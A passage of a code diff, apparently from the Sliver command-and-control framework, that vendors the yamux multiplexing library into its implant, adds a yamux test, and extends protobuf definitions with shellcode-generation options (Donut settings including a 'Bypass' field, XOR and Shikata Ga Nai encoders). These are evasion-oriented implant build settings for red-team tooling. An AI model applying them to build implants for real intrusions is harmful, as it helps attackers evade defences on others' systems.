+		if sendErr := s.sendNoWait(s.goAway(goAwayProtoErr)); sendErr != nil {
+			s.logger.Printf("[WARN] yamux: failed to send go away: %v", sendErr)
+		}
+		return ErrDuplicateStream
+	}
+
+	// Register the stream
+	s.streams[id] = stream
+
+	// Check if we've exceeded the backlog
+	select {
+	case s.acceptCh <- stream:
+		return nil
+	default:
+		// Backlog exceeded! RST the stream
+		s.logger.Printf("[WARN] yamux: backlog exceeded, forcing connection reset")
+		delete(s.streams, id)
+		hdr := header(make([]byte, headerSize))
+		hdr.encode(typeWindowUpdate, flagRST, id, 0)
+		return s.sendNoWait(hdr)
+	}
+}
+
+// closeStream is used to close a stream once both sides have
+// issued a close. If there was an in-flight SYN and the stream
+// was not yet established, then this will give the credit back.
+func (s *Session) closeStream(id uint32) {
+	s.streamLock.Lock()
+	if _, ok := s.inflight[id]; ok {
+		select {
+		case <-s.synCh:
+		default:
+			s.logger.Printf("[ERR] yamux: SYN tracking out of sync")
+		}
+	}
+	delete(s.streams, id)
+	s.streamLock.Unlock()
+}
+
+// establishStream is used to mark a stream that was in the
+// SYN Sent state as established.
+func (s *Session) establishStream(id uint32) {
+	s.streamLock.Lock()
+	if _, ok := s.inflight[id]; ok {
+		delete(s.inflight, id)
+	} else {
+		s.logger.Printf("[ERR] yamux: established stream without inflight SYN (no tracking entry)")
+	}
+	select {
+	case <-s.synCh:
+	default:
+		s.logger.Printf("[ERR] yamux: established stream without inflight SYN (didn't have semaphore)")
+	}
+	s.streamLock.Unlock()
+}

implant/vendor/github.com/hashicorp/yamux/spec.md

@@ -0,0 +1,140 @@
+# Specification
+
+We use this document to detail the internal specification of Yamux.
+This is used both as a guide for implementing Yamux, but also for
+alternative interoperable libraries to be built.
+
+# Framing
+
+Yamux uses a streaming connection underneath, but imposes a message
+framing so that it can be shared between many logical streams. Each
+frame contains a header like:
+
+* Version (8 bits)
+* Type (8 bits)
+* Flags (16 bits)
+* StreamID (32 bits)
+* Length (32 bits)
+
+This means that each header has a 12 byte overhead.
+All fields are encoded in network order (big endian).
+Each field is described below:
+
+## Version Field
+
+The version field is used for future backward compatibility. At the
+current time, the field is always set to 0, to indicate the initial
+version.
+
+## Type Field
+
+The type field is used to switch the frame message type. The following
+message types are supported:
+
+* 0x0 Data - Used to transmit data. May transmit zero length payloads
+  depending on the flags.
+
+* 0x1 Window Update - Used to updated the senders receive window size.
+  This is used to implement per-session flow control.
+
+* 0x2 Ping - Used to measure RTT. It can also be used to heart-beat
+  and do keep-alives over TCP.
+
+* 0x3 Go Away - Used to close a session.
+
+## Flag Field
+
+The flags field is used to provide additional information related
+to the message type. The following flags are supported:
+
+* 0x1 SYN - Signals the start of a new stream. May be sent with a data or
+  window update message. Also sent with a ping to indicate outbound.
+
+* 0x2 ACK - Acknowledges the start of a new stream. May be sent with a data
+  or window update message. Also sent with a ping to indicate response.
+
+* 0x4 FIN - Performs a half-close of a stream. May be sent with a data
+  message or window update.
+
+* 0x8 RST - Reset a stream immediately. May be sent with a data or
+  window update message.
+
+## StreamID Field
+
+The StreamID field is used to identify the logical stream the frame
+is addressing. The client side should use odd ID's, and the server even.
+This prevents any collisions. Additionally, the 0 ID is reserved to represent
+the session.
+
+Both Ping and Go Away messages should always use the 0 StreamID.
+
+## Length Field
+
+The meaning of the length field depends on the message type:
+
+* Data - provides the length of bytes following the header
+* Window update - provides a delta update to the window size
+* Ping - Contains an opaque value, echoed back
+* Go Away - Contains an error code
+
+# Message Flow
+
+There is no explicit connection setup, as Yamux relies on an underlying
+transport to be provided. However, there is a distinction between client
+and server side of the connection.
+
+## Opening a stream
+
+To open a stream, an initial data or window update frame is sent
+with a new StreamID. The SYN flag should be set to signal a new stream.
+
+The receiver must then reply with either a data or window update frame
+with the StreamID along with the ACK flag to accept the stream or with
+the RST flag to reject the stream.
+
+Because we are relying on the reliable stream underneath, a connection
+can begin sending data once the SYN flag is sent. The corresponding
+ACK does not need to be received. This is particularly well suited
+for an RPC system where a client wants to open a stream and immediately
+fire a request without waiting for the RTT of the ACK.
+
+This does introduce the possibility of a connection being rejected
+after data has been sent already. This is a slight semantic difference
+from TCP, where the connection cannot be refused after it is opened.
+Clients should be prepared to handle this by checking for an error
+that indicates a RST was received.
+
+## Closing a stream
+
+To close a stream, either side sends a data or window update frame
+along with the FIN flag. This does a half-close indicating the sender
+will send no further data.
+
+Once both sides have closed the connection, the stream is closed.
+
+Alternatively, if an error occurs, the RST flag can be used to
+hard close a stream immediately.
+
+## Flow Control
+
+When Yamux is initially starts each stream with a 256KB window size.
+There is no window size for the session.
+
+To prevent the streams from stalling, window update frames should be
+sent regularly. Yamux can be configured to provide a larger limit for
+windows sizes. Both sides assume the initial 256KB window, but can
+immediately send a window update as part of the SYN/ACK indicating a
+larger window.
+
+Both sides should track the number of bytes sent in Data frames
+only, as only they are tracked as part of the window size.
+
+## Session termination
+
+When a session is being terminated, the Go Away message should
+be sent. The Length should be set to one of the following to
+provide an error code:
+
+* 0x0 Normal termination
+* 0x1 Protocol error
+* 0x2 Internal error

implant/vendor/github.com/hashicorp/yamux/stream.go

@@ -0,0 +1,556 @@
+package yamux
+
+import (
+	"bytes"
+	"errors"
+	"io"
+	"sync"
+	"sync/atomic"
+	"time"
+)
+
+type streamState int
+
+const (
+	streamInit streamState = iota
+	streamSYNSent
+	streamSYNReceived
+	streamEstablished
+	streamLocalClose
+	streamRemoteClose
+	streamClosed
+	streamReset
+)
+
+// Stream is used to represent a logical stream
+// within a session.
+type Stream struct {
+	recvWindow uint32
+	sendWindow uint32
+
+	id      uint32
+	session *Session
+
+	state     streamState
+	stateLock sync.Mutex
+
+	recvBuf  *bytes.Buffer
+	recvLock sync.Mutex
+
+	controlHdr     header
+	controlErr     chan error
+	controlHdrLock sync.Mutex
+
+	sendHdr  header
+	sendErr  chan error
+	sendLock sync.Mutex
+
+	recvNotifyCh chan struct{}
+	sendNotifyCh chan struct{}
+
+	readDeadline  atomic.Value // time.Time
+	writeDeadline atomic.Value // time.Time
+
+	// establishCh is notified if the stream is established or being closed.
+	establishCh chan struct{}
+
+	// closeTimer is set with stateLock held to honor the StreamCloseTimeout
+	// setting on Session.
+	closeTimer *time.Timer
+}
+
+// newStream is used to construct a new stream within
+// a given session for an ID
+func newStream(session *Session, id uint32, state streamState) *Stream {
+	s := &Stream{
+		id:           id,
+		session:      session,
+		state:        state,
+		controlHdr:   header(make([]byte, headerSize)),
+		controlErr:   make(chan error, 1),
+		sendHdr:      header(make([]byte, headerSize)),
+		sendErr:      make(chan error, 1),
+		recvWindow:   initialStreamWindow,
+		sendWindow:   initialStreamWindow,
+		recvNotifyCh: make(chan struct{}, 1),
+		sendNotifyCh: make(chan struct{}, 1),
+		establishCh:  make(chan struct{}, 1),
+	}
+	s.readDeadline.Store(time.Time{})
+	s.writeDeadline.Store(time.Time{})
+	return s
+}
+
+// Session returns the associated stream session
+func (s *Stream) Session() *Session {
+	return s.session
+}
+
+// StreamID returns the ID of this stream
+func (s *Stream) StreamID() uint32 {
+	return s.id
+}
+
+// Read is used to read from the stream
+func (s *Stream) Read(b []byte) (n int, err error) {
+	defer asyncNotify(s.recvNotifyCh)
+START:
+
+	// If the stream is closed and there's no data buffered, return EOF
+	s.stateLock.Lock()
+	switch s.state {
+	case streamLocalClose:
+		// LocalClose only prohibits further local writes. Handle reads normally.
+	case streamRemoteClose:
+		fallthrough
+	case streamClosed:
+		s.recvLock.Lock()
+		if s.recvBuf == nil || s.recvBuf.Len() == 0 {
+			s.recvLock.Unlock()
+			s.stateLock.Unlock()
+			return 0, io.EOF
+		}
+		s.recvLock.Unlock()
+	case streamReset:
+		s.stateLock.Unlock()
+		return 0, ErrConnectionReset
+	}
+	s.stateLock.Unlock()
+
+	// If there is no data available, block
+	s.recvLock.Lock()
+	if s.recvBuf == nil || s.recvBuf.Len() == 0 {
+		s.recvLock.Unlock()
+		goto WAIT
+	}
+
+	// Read any bytes
+	n, _ = s.recvBuf.Read(b)
+	s.recvLock.Unlock()
+
+	// Send a window update potentially
+	err = s.sendWindowUpdate()
+	if err == ErrSessionShutdown {
+		err = nil
+	}
+	return n, err
+
+WAIT:
+	var timeout <-chan time.Time
+	var timer *time.Timer
+	readDeadline := s.readDeadline.Load().(time.Time)
+	if !readDeadline.IsZero() {
+		delay := time.Until(readDeadline)
+		timer = time.NewTimer(delay)
+		timeout = timer.C
+	}
+	select {
+	case <-s.session.shutdownCh:
+	case <-s.recvNotifyCh:
+	case <-timeout:
+		return 0, ErrTimeout
+	}
+	if timer != nil {
+		if !timer.Stop() {
+			<-timeout
+		}
+	}
+	goto START
+}
+
+// Write is used to write to the stream
+func (s *Stream) Write(b []byte) (n int, err error) {
+	s.sendLock.Lock()
+	defer s.sendLock.Unlock()
+	total := 0
+	for total < len(b) {
+		n, err := s.write(b[total:])
+		total += n
+		if err != nil {
+			return total, err
+		}
+	}
+	return total, nil
+}
+
+// write is used to write to the stream, may return on
+// a short write.
+func (s *Stream) write(b []byte) (n int, err error) {
+	var flags uint16
+	var max uint32
+	var body []byte
+START:
+	s.stateLock.Lock()
+	switch s.state {
+	case streamLocalClose:
+		fallthrough
+	case streamClosed:
+		s.stateLock.Unlock()
+		return 0, ErrStreamClosed
+	case streamReset:
+		s.stateLock.Unlock()
+		return 0, ErrConnectionReset
+	}
+	s.stateLock.Unlock()
+
+	// If there is no data available, block
+	window := atomic.LoadUint32(&s.sendWindow)
+	if window == 0 {
+		goto WAIT
+	}
+
+	// Determine the flags if any
+	flags = s.sendFlags()
+
+	// Send up to our send window
+	max = min(window, uint32(len(b)))
+	body = b[:max]
+
+	// Send the header
+	s.sendHdr.encode(typeData, flags, s.id, max)
+	if err = s.session.waitForSendErr(s.sendHdr, body, s.sendErr); err != nil {
+		if errors.Is(err, ErrSessionShutdown) || errors.Is(err, ErrConnectionWriteTimeout) {
+			// Message left in ready queue, header re-use is unsafe.
+			s.sendHdr = header(make([]byte, headerSize))
+		}
+		return 0, err
+	}
+
+	// Reduce our send window
+	atomic.AddUint32(&s.sendWindow, ^uint32(max-1))
+
+	// Unlock
+	return int(max), err
+
+WAIT:
+	var timeout <-chan time.Time
+	var timer *time.Timer
+	writeDeadline := s.writeDeadline.Load().(time.Time)
+	if !writeDeadline.IsZero() {
+		delay := time.Until(writeDeadline)
+		timer = time.NewTimer(delay)
+		timeout = timer.C
+	}
+	select {
+	case <-s.session.shutdownCh:
+	case <-s.sendNotifyCh:
+	case <-timeout:
+		return 0, ErrTimeout
+	}
+	if timer != nil {
+		if !timer.Stop() {
+			<-timeout
+		}
+	}
+	goto START
+}
+
+// sendFlags determines any flags that are appropriate
+// based on the current stream state
+func (s *Stream) sendFlags() uint16 {
+	s.stateLock.Lock()
+	defer s.stateLock.Unlock()
+	var flags uint16
+	switch s.state {
+	case streamInit:
+		flags |= flagSYN
+		s.state = streamSYNSent
+	case streamSYNReceived:
+		flags |= flagACK
+		s.state = streamEstablished
+	}
+	return flags
+}
+
+// sendWindowUpdate potentially sends a window update enabling
+// further writes to take place. Must be invoked with the lock.
+func (s *Stream) sendWindowUpdate() error {
+	s.controlHdrLock.Lock()
+	defer s.controlHdrLock.Unlock()
+
+	// Determine the delta update
+	max := s.session.config.MaxStreamWindowSize
+	var bufLen uint32
+	s.recvLock.Lock()
+	if s.recvBuf != nil {
+		bufLen = uint32(s.recvBuf.Len())
+	}
+	delta := (max - bufLen) - s.recvWindow
+
+	// Determine the flags if any
+	flags := s.sendFlags()
+
+	// Check if we can omit the update
+	if delta < (max/2) && flags == 0 {
+		s.recvLock.Unlock()
+		return nil
+	}
+
+	// Update our window
+	s.recvWindow += delta
+	s.recvLock.Unlock()
+
+	// Send the header
+	s.controlHdr.encode(typeWindowUpdate, flags, s.id, delta)
+	if err := s.session.waitForSendErr(s.controlHdr, nil, s.controlErr); err != nil {
+		if errors.Is(err, ErrSessionShutdown) || errors.Is(err, ErrConnectionWriteTimeout) {
+			// Message left in ready queue, header re-use is unsafe.
+			s.controlHdr = header(make([]byte, headerSize))
+		}
+		return err
+	}
+	return nil
+}
+
+// sendClose is used to send a FIN
+func (s *Stream) sendClose() error {
+	s.controlHdrLock.Lock()
+	defer s.controlHdrLock.Unlock()
+
+	flags := s.sendFlags()
+	flags |= flagFIN
+	s.controlHdr.encode(typeWindowUpdate, flags, s.id, 0)
+	if err := s.session.waitForSendErr(s.controlHdr, nil, s.controlErr); err != nil {
+		if errors.Is(err, ErrSessionShutdown) || errors.Is(err, ErrConnectionWriteTimeout) {
+			// Message left in ready queue, header re-use is unsafe.
+			s.controlHdr = header(make([]byte, headerSize))
+		}
+		return err
+	}
+	return nil
+}
+
+// Close is used to close the stream
+func (s *Stream) Close() error {
+	closeStream := false
+	s.stateLock.Lock()
+	switch s.state {
+	// Opened means we need to signal a close
+	case streamSYNSent:
+		fallthrough
+	case streamSYNReceived:
+		fallthrough
+	case streamEstablished:
+		s.state = streamLocalClose
+		goto SEND_CLOSE
+
+	case streamLocalClose:
+	case streamRemoteClose:
+		s.state = streamClosed
+		closeStream = true
+		goto SEND_CLOSE
+
+	case streamClosed:
+	case streamReset:
+	default:
+		panic("unhandled state")
+	}
+	s.stateLock.Unlock()
+	return nil
+SEND_CLOSE:
+	// This shouldn't happen (the more realistic scenario to cancel the
+	// timer is via processFlags) but just in case this ever happens, we
+	// cancel the timer to prevent dangling timers.
+	if s.closeTimer != nil {
+		s.closeTimer.Stop()
+		s.closeTimer = nil
+	}
+
+	// If we have a StreamCloseTimeout set we start the timeout timer.
+	// We do this only if we're not already closing the stream since that
+	// means this was a graceful close.
+	//
+	// This prevents memory leaks if one side (this side) closes and the
+	// remote side poorly behaves and never responds with a FIN to complete
+	// the close. After the specified timeout, we clean our resources up no
+	// matter what.
+	if !closeStream && s.session.config.StreamCloseTimeout > 0 {
+		s.closeTimer = time.AfterFunc(
+			s.session.config.StreamCloseTimeout, s.closeTimeout)
+	}
+
+	s.stateLock.Unlock()
+	s.sendClose()
+	s.notifyWaiting()
+	if closeStream {
+		s.session.closeStream(s.id)
+	}
+	return nil
+}
+
+// closeTimeout is called after StreamCloseTimeout during a close to
+// close this stream.
+func (s *Stream) closeTimeout() {
+	// Close our side forcibly
+	s.forceClose()
+
+	// Free the stream from the session map
+	s.session.closeStream(s.id)
+
+	// Send a RST so the remote side closes too.
+	s.sendLock.Lock()
+	defer s.sendLock.Unlock()
+	hdr := header(make([]byte, headerSize))
+	hdr.encode(typeWindowUpdate, flagRST, s.id, 0)
+	_ = s.session.sendNoWait(hdr)
+}
+
+// forceClose is used for when the session is exiting
+func (s *Stream) forceClose() {
+	s.stateLock.Lock()
+	s.state = streamClosed
+	s.stateLock.Unlock()
+	s.notifyWaiting()
+}
+
+// processFlags is used to update the state of the stream
+// based on set flags, if any. Lock must be held
+func (s *Stream) processFlags(flags uint16) error {
+	s.stateLock.Lock()
+	defer s.stateLock.Unlock()
+
+	// Close the stream without holding the state lock
+	closeStream := false
+	defer func() {
+		if closeStream {
+			if s.closeTimer != nil {
+				// Stop our close timeout timer since we gracefully closed
+				s.closeTimer.Stop()
+			}
+
+			s.session.closeStream(s.id)
+		}
+	}()
+
+	if flags&flagACK == flagACK {
+		if s.state == streamSYNSent {
+			s.state = streamEstablished
+		}
+		asyncNotify(s.establishCh)
+		s.session.establishStream(s.id)
+	}
+	if flags&flagFIN == flagFIN {
+		switch s.state {
+		case streamSYNSent:
+			fallthrough
+		case streamSYNReceived:
+			fallthrough
+		case streamEstablished:
+			s.state = streamRemoteClose
+			s.notifyWaiting()
+		case streamLocalClose:
+			s.state = streamClosed
+			closeStream = true
+			s.notifyWaiting()
+		default:
+			s.session.logger.Printf("[ERR] yamux: unexpected FIN flag in state %d", s.state)
+			return ErrUnexpectedFlag
+		}
+	}
+	if flags&flagRST == flagRST {
+		s.state = streamReset
+		closeStream = true
+		s.notifyWaiting()
+	}
+	return nil
+}
+
+// notifyWaiting notifies all the waiting channels
+func (s *Stream) notifyWaiting() {
+	asyncNotify(s.recvNotifyCh)
+	asyncNotify(s.sendNotifyCh)
+	asyncNotify(s.establishCh)
+}
+
+// incrSendWindow updates the size of our send window
+func (s *Stream) incrSendWindow(hdr header, flags uint16) error {
+	if err := s.processFlags(flags); err != nil {
+		return err
+	}
+
+	// Increase window, unblock a sender
+	atomic.AddUint32(&s.sendWindow, hdr.Length())
+	asyncNotify(s.sendNotifyCh)
+	return nil
+}
+
+// readData is used to handle a data frame
+func (s *Stream) readData(hdr header, flags uint16, conn io.Reader) error {
+	if err := s.processFlags(flags); err != nil {
+		return err
+	}
+
+	// Check that our recv window is not exceeded
+	length := hdr.Length()
+	if length == 0 {
+		return nil
+	}
+
+	// Wrap in a limited reader
+	conn = &io.LimitedReader{R: conn, N: int64(length)}
+
+	// Copy into buffer
+	s.recvLock.Lock()
+
+	if length > s.recvWindow {
+		s.session.logger.Printf("[ERR] yamux: receive window exceeded (stream: %d, remain: %d, recv: %d)", s.id, s.recvWindow, length)
+		s.recvLock.Unlock()
+		return ErrRecvWindowExceeded
+	}
+
+	if s.recvBuf == nil {
+		// Allocate the receive buffer just-in-time to fit the full data frame.
+		// This way we can read in the whole packet without further allocations.
+		s.recvBuf = bytes.NewBuffer(make([]byte, 0, length))
+	}
+	copiedLength, err := io.Copy(s.recvBuf, conn)
+	if err != nil {
+		s.session.logger.Printf("[ERR] yamux: Failed to read stream data: %v", err)
+		s.recvLock.Unlock()
+		return err
+	}
+
+	// Decrement the receive window
+	s.recvWindow -= uint32(copiedLength)
+	s.recvLock.Unlock()
+
+	// Unblock any readers
+	asyncNotify(s.recvNotifyCh)
+	return nil
+}
+
+// SetDeadline sets the read and write deadlines
+func (s *Stream) SetDeadline(t time.Time) error {
+	if err := s.SetReadDeadline(t); err != nil {
+		return err
+	}
+	if err := s.SetWriteDeadline(t); err != nil {
+		return err
+	}
+	return nil
+}
+
+// SetReadDeadline sets the deadline for blocked and future Read calls.
+func (s *Stream) SetReadDeadline(t time.Time) error {
+	s.readDeadline.Store(t)
+	asyncNotify(s.recvNotifyCh)
+	return nil
+}
+
+// SetWriteDeadline sets the deadline for blocked and future Write calls
+func (s *Stream) SetWriteDeadline(t time.Time) error {
+	s.writeDeadline.Store(t)
+	asyncNotify(s.sendNotifyCh)
+	return nil
+}
+
+// Shrink is used to compact the amount of buffers utilized
+// This is useful when using Yamux in a connection pool to reduce
+// the idle memory utilization.
+func (s *Stream) Shrink() {
+	s.recvLock.Lock()
+	if s.recvBuf != nil && s.recvBuf.Len() == 0 {
+		s.recvBuf = nil
+	}
+	s.recvLock.Unlock()
+}

implant/vendor/github.com/hashicorp/yamux/util.go

@@ -0,0 +1,50 @@
+package yamux
+
+import (
+	"sync"
+	"time"
+)
+
+// Logger is a abstract of *log.Logger
+type Logger interface {
+	Print(v ...interface{})
+	Printf(format string, v ...interface{})
+	Println(v ...interface{})
+}
+
+var (
+	timerPool = &sync.Pool{
+		New: func() interface{} {
+			timer := time.NewTimer(time.Hour * 1e6)
+			timer.Stop()
+			return timer
+		},
+	}
+)
+
+// asyncSendErr is used to try an async send of an error
+func asyncSendErr(ch chan error, err error) {
+	if ch == nil {
+		return
+	}
+	select {
+	case ch <- err:
+	default:
+	}
+}
+
+// asyncNotify is used to signal a waiting goroutine
+func asyncNotify(ch chan struct{}) {
+	select {
+	case ch <- struct{}{}:
+	default:
+	}
+}
+
+// min computes the minimum of two values
+func min(a, b uint32) uint32 {
+	if a < b {
+		return a
+	}
+	return b
+}

implant/vendor/modules.txt

@@ -45,6 +45,9 @@ github.com/google/btree
 # github.com/hashicorp/go-uuid v1.0.2
 ## explicit
 github.com/hashicorp/go-uuid
+# github.com/hashicorp/yamux v0.1.2
+## explicit; go 1.20
+github.com/hashicorp/yamux
 # github.com/jcmturner/gofork v1.0.0
 ## explicit
 github.com/jcmturner/gofork/encoding/asn1

internal/yamuxtest/yamux_test.go

@@ -0,0 +1,83 @@
+package yamuxtest
+
+import (
+	"bytes"
+	"fmt"
+	"io"
+	"net"
+	"sync"
+	"testing"
+
+	"github.com/hashicorp/yamux"
+)
+
+func TestYamuxConcurrentStreams(t *testing.T) {
+	serverConn, clientConn := net.Pipe()
+	serverSession, err := yamux.Server(serverConn, nil)
+	if err != nil {
+		t.Fatalf("server session: %v", err)
+	}
+	defer serverSession.Close()
+
+	clientSession, err := yamux.Client(clientConn, nil)
+	if err != nil {
+		t.Fatalf("client session: %v", err)
+	}
+	defer clientSession.Close()
+
+	const streams = 16
+	payloads := make([][]byte, streams)
+	for i := 0; i < streams; i++ {
+		payloads[i] = []byte(fmt.Sprintf("stream=%d payload=%s", i, bytes.Repeat([]byte{byte('a' + i)}, 4096)))
+	}
+
+	var openWg sync.WaitGroup
+	openWg.Add(streams)
+	for i := 0; i < streams; i++ {
+		i := i
+		go func() {
+			defer openWg.Done()
+			stream, err := clientSession.Open()
+			if err != nil {
+				t.Errorf("open stream %d: %v", i, err)
+				return
+			}
+			_, err = stream.Write(payloads[i])
+			_ = stream.Close()
+			if err != nil {
+				t.Errorf("write stream %d: %v", i, err)
+				return
+			}
+		}()
+	}
+
+	openWg.Wait()
+
+	wantSet := map[string]struct{}{}
+	for _, p := range payloads {
+		wantSet[string(p)] = struct{}{}
+	}
+
+	gotSet := map[string]struct{}{}
+	for i := 0; i < streams; i++ {
+		stream, err := serverSession.Accept()
+		if err != nil {
+			t.Fatalf("accept stream %d: %v", i, err)
+		}
+		b, err := io.ReadAll(stream)
+		_ = stream.Close()
+		if err != nil {
+			t.Fatalf("read stream %d: %v", i, err)
+		}
+		gotSet[string(b)] = struct{}{}
+	}
+
+	if len(gotSet) != len(wantSet) {
+		t.Fatalf("unexpected payload count: got=%d want=%d", len(gotSet), len(wantSet))
+	}
+	for want := range wantSet {
+		if _, ok := gotSet[want]; !ok {
+			t.Fatalf("missing payload: %q", want)
+		}
+	}
+}

protobuf/clientpb/client.proto

@@ -132,6 +132,29 @@ enum OutputFormat {
   THIRD_PARTY = 4;
 }
 
+// ShellcodeConfig - options used when generating shellcode output.
+//
+// Note: Most fields map to Donut options for Windows shellcode generation.
+// On macOS (darwin/arm64), only `Compress` is currently used (beignet aPLib).
+message ShellcodeConfig {
+  // 1=none, 2=random names, 3=random names + symmetric encryption (Windows/Donut only)
+  uint32 Entropy = 2;
+  // 1=none, 2=aplib (Windows/Donut + macOS/beignet)
+  uint32 Compress = 3;
+  // 1=exit thread, 2=exit process, 3=block (Windows/Donut only)
+  uint32 ExitOpt = 4;
+  // 1=none, 2=abort on failure, 3=continue on failure (Windows/Donut only)
+  uint32 Bypass = 5;
+  // 1=overwrite headers, 2=keep headers (Windows/Donut only)
+  uint32 Headers = 6;
+  // Run unmanaged EXE entrypoint as a new thread (Windows/Donut only)
+  bool Thread = 7;
+  // Convert command line to Unicode for unmanaged DLL entrypoints (Windows/Donut only)
+  bool Unicode = 8;
+  // Override original entry point (0 = default) (Windows/Donut only)
+  uint32 OEP = 9;
+}
+
 message ImplantConfig {
   string ID = 1;
   repeated ImplantBuild ImplantBuilds = 2;
@@ -184,6 +207,8 @@ message ImplantConfig {
   bool RunAtLoad = 105;
   string DebugFile = 106;
   repeated string exports = 107;
+  ShellcodeConfig ShellcodeConfig = 108;
+  ShellcodeEncoder ShellcodeEncoder = 109;
 
   string HTTPC2ConfigName = 150;
   bool NetGoEnabled = 151;
@@ -690,6 +715,8 @@ message Backdoor { commonpb.Response Response = 9; }
 enum ShellcodeEncoder {
   NONE = 0;
   SHIKATA_GA_NAI = 1;
+  XOR = 2;
+  XOR_DYNAMIC = 3;
 }
 
 message ShellcodeEncodeReq {
@@ -697,6 +724,7 @@ message ShellcodeEncodeReq {
   string Architecture = 2;
   uint32 Iterations = 3;
   bytes BadChars = 4;
+  reserved 5;
 
   bytes Data = 8;
   commonpb.Request Request = 9;
@@ -708,7 +736,14 @@ message ShellcodeEncode {
   commonpb.Response Response = 9;
 }
 
-message ShellcodeEncoderMap { map<string, ShellcodeEncoder> Encoders = 1; }
+message ShellcodeEncoderArchMap {
+  map<string, ShellcodeEncoder> Encoders = 1;
+  map<string, string> Descriptions = 2;
+}
+
+message ShellcodeEncoderMap {
+  map<string, ShellcodeEncoderArchMap> Encoders = 1;
+}
 
 // [ Builder ] ----------------------------------------
 

protobuf/commonpb/common.pb.go

@@ -1,7 +1,7 @@
 // Code generated by protoc-gen-go. DO NOT EDIT.
 // versions:
 // 	protoc-gen-go v1.26.0
-// 	protoc        v6.33.4
+// 	protoc        v3.15.8
 // source: commonpb/common.proto
 
 package commonpb

protobuf/dnspb/dns.pb.go

@@ -1,7 +1,7 @@
 // Code generated by protoc-gen-go. DO NOT EDIT.
 // versions:
 // 	protoc-gen-go v1.26.0
-// 	protoc        v6.33.4
+// 	protoc        v3.15.8
 // source: dnspb/dns.proto
 
 package dnspb

protobuf/rpcpb/services.pb.go

@@ -1,7 +1,7 @@
 // Code generated by protoc-gen-go. DO NOT EDIT.
 // versions:
 // 	protoc-gen-go v1.26.0
-// 	protoc        v6.33.4
+// 	protoc        v3.15.8
 // source: rpcpb/services.proto
 
 package rpcpb
@@ -31,7 +31,7 @@ var file_rpcpb_services_proto_rawDesc = []byte{
 	0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73,
 	0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69,
 	0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f,
-	0x74, 0x6f, 0x32, 0xc5, 0x56, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
+	0x74, 0x6f, 0x32, 0xff, 0x56, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
 	0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f,
 	0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
 	0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69,
@@ -697,36 +697,40 @@ var file_rpcpb_services_proto_rawDesc = []byte{
 	0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, 0x65,
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-	0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66,
-	0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62,
-	0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
+	0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73,
+	0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74,
+	0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65,
+	0x6e, 0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63,
+	0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69,
+	0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63,
+	0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
 }
 
 var file_rpcpb_services_proto_goTypes = []interface{}{
@@ -856,113 +860,114 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
 	(*sliverpb.WGTCPForwardersReq)(nil),       // 123: sliverpb.WGTCPForwardersReq
 	(*sliverpb.WGSocksServersReq)(nil),        // 124: sliverpb.WGSocksServersReq
 	(*sliverpb.ShellReq)(nil),                 // 125: sliverpb.ShellReq
-	(*sliverpb.PortfwdReq)(nil),               // 126: sliverpb.PortfwdReq
-	(*sliverpb.Socks)(nil),                    // 127: sliverpb.Socks
-	(*sliverpb.SocksData)(nil),                // 128: sliverpb.SocksData
-	(*sliverpb.Tunnel)(nil),                   // 129: sliverpb.Tunnel
-	(*sliverpb.TunnelData)(nil),               // 130: sliverpb.TunnelData
-	(*clientpb.Version)(nil),                  // 131: clientpb.Version
-	(*clientpb.Operators)(nil),                // 132: clientpb.Operators
-	(*sliverpb.Reconfigure)(nil),              // 133: sliverpb.Reconfigure
-	(*clientpb.Sessions)(nil),                 // 134: clientpb.Sessions
-	(*commonpb.Response)(nil),                 // 135: commonpb.Response
-	(*clientpb.MonitoringProviders)(nil),      // 136: clientpb.MonitoringProviders
-	(*clientpb.ListenerJob)(nil),              // 137: clientpb.ListenerJob
